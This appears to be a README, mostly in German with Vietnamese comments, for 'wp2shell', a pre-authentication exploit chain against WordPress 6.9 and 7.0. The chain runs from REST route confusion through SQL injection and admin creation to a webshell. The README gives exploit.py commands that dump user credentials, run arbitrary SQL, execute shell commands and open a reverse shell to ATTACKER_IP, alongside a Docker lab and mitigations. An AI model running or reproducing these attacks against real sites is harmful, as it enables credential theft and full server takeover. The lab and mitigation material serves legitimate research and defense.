
Pre-auth RCE-Exploit für WordPress (CVE-2026-63030 + CVE-2026-60137), das Routenverwirrung und SQL-Injection zu vollem Shell-Zugriff verknüpft. Enthält ein Docker-Lab für sicheres Testen.
| CVE | CVE-2026-63030 + CVE-2026-60137 |
| Alias | wp2shell |
| Schwachstellentyp | REST API Route Confusion → SQL Injection → RCE |
| Schweregrad | Kritisch — CVSS 10.0 |
| Betroffen | WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 |
| Behoben in | WordPress 6.8.6, 6.9.5, 7.0.2 |
| Authentifizierung erforderlich | Keine (Pre-Auth) |
wp2shell ist die Bezeichnung für die Exploit-Kette, die zwei Schwachstellen im WordPress Core kombiniert:
/wp-json/batch/v1) weist einen Indexversatz zwischen den Arrays $matches[] und $validation[] auf, wenn ein Sub-Request einen fehlerhaften Pfad hat. Dadurch läuft der nächste Sub-Request unter einem falschen Handler → Umgehung der REST-API-Schema-Validierung.WP_Query::get_posts() saniert den Parameter author__not_in nicht, wenn er als String statt als Array übergeben wird → Raw-SQL-Injection.Die beiden Bugs ergeben zusammen eine vollständige Pre-Auth-RCE-Kette – von 0 Credentials bis zur Shell auf dem Server, nur über HTTP-Anfragen.
Route Confusion (bypass REST validation)
→ SQL Injection (đọc DB: users, secret keys)
→ oEmbed cache poisoning (read-only SQLi → write primitive)
→ customize_changeset (tạo admin mới)
→ Plugin upload (webshell)
→ Remote Code Execution
Lies die vollständige technische Analyse in REPORT.md
Das Lab verwendet Docker Compose mit 3 Containern:
| Container | Image | Port |
|---|---|---|
| WordPress (verwundbar) | wordpress:6.9.4 | 8080 |
| MySQL | mysql:8.0 | intern |
| phpMyAdmin | phpmyadmin:latest | 8081 |
setup.sh)cd wp2shell-lab
bash setup.sh
Das Skript führt automatisch aus:
Nach Abschluss wird "WP2Shell Lab — READY!" zusammen mit den Anmeldedaten angezeigt.
cd wp2shell-lab
docker compose down -v
# Kiểm tra vulnerability
python3 exploit.py check http://TARGET:8080
# Kiểm tra + xác nhận SQLi
python3 exploit.py check --confirm-sqli http://TARGET:8080
# Đọc user credentials từ database
python3 exploit.py read --preset users http://TARGET:8080
# Chạy câu SQL tùy ý
python3 exploit.py read --query "SELECT @@version" http://TARGET:8080
# Full RCE — chạy command
python3 exploit.py shell --cmd "id" http://TARGET:8080
# Reverse shell
python3 exploit.py shell --reverse ATTACKER_IP:PORT http://TARGET:8080
Das PoC-Skript wurde von Grund auf neu geschrieben, basierend auf Icex0/wp2shell-poc. Es verwendet ausschließlich die Python-3-Stdlib; es sind keine zusätzlichen Abhängigkeiten erforderlich.
| Bedingung | Anforderung |
|---|---|
| WordPress-Version | 6.9.0–6.9.4 oder 7.0.0–7.0.1 |
| REST-API-Batch-Endpoint | Zugänglich (standardmäßig aktiviert) |
| Authentifizierung | Nicht erforderlich |
| Netzwerk | Angreifer kann WordPress erreichen |
add_filter('rest_batch_disabled', '__return_true'); in functions.php einfügen./wp-json/batch/v1 blockieren, die SQL-Schlüsselwörter enthalten.Dieses Repo wurde für Forschung, Lernen und CTF in einer kontrollierten Laborumgebung erstellt. Nicht für Angriffe auf echte Systeme verwenden. Jede unbefugte Ausnutzung ist ein Verstoß gegen das Gesetz.